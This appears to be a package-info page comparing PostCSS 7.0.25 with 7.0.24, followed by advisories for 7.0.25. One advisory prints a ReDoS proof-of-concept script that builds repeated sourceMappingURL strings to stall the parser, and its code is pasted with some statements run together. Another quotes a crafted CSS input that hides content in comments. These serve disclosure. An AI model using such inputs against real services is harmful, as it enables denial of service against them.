PostCSS version 7.0.25 represents a minor update over its predecessor, 7.0.24, within this popular tool for transforming styles with JavaScript plugins. Both versions share identical core dependencies, including Chalk for colorful console output, Source Map for debugging, and Supports Color for terminal color detection. The licensing and authorship remain consistent, with Andrey Sitnik credited as the author and the package distributed under the MIT license. Funding is supported through Tidelift. The GitHub repository URL confirms the project is actively maintained and open to contributions.
While superficially similar, there is a notable difference in the dist object, specifically the unpackedSize. Version 7.0.25 has an unpacked size of 600768 Bytes, slightly larger than version 7.0.24's size of 600550 Bytes. This implies that there might be minimal code enhancements, documentation updates, or potentially bug fixes implemented in the later release. Though seemingly small, such changes can impact functionality within specific PostCSS plugin ecosystems. The release dates also show they were released approximately 10 days apart, where 7.0.24 came out on December 6th, 2019 and 7.0.25 on December 16th, 2019. Developers upgrading between these versions should review the release notes or commit history for detailed insights into the specific changes introduced between these versions to ensure compatibility. Generally, it’s good practice to stay up-to-date with the latest minor version releases to benefit from bug fixes and performance improvements.
All the vulnerabilities related to the version 7.0.25 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.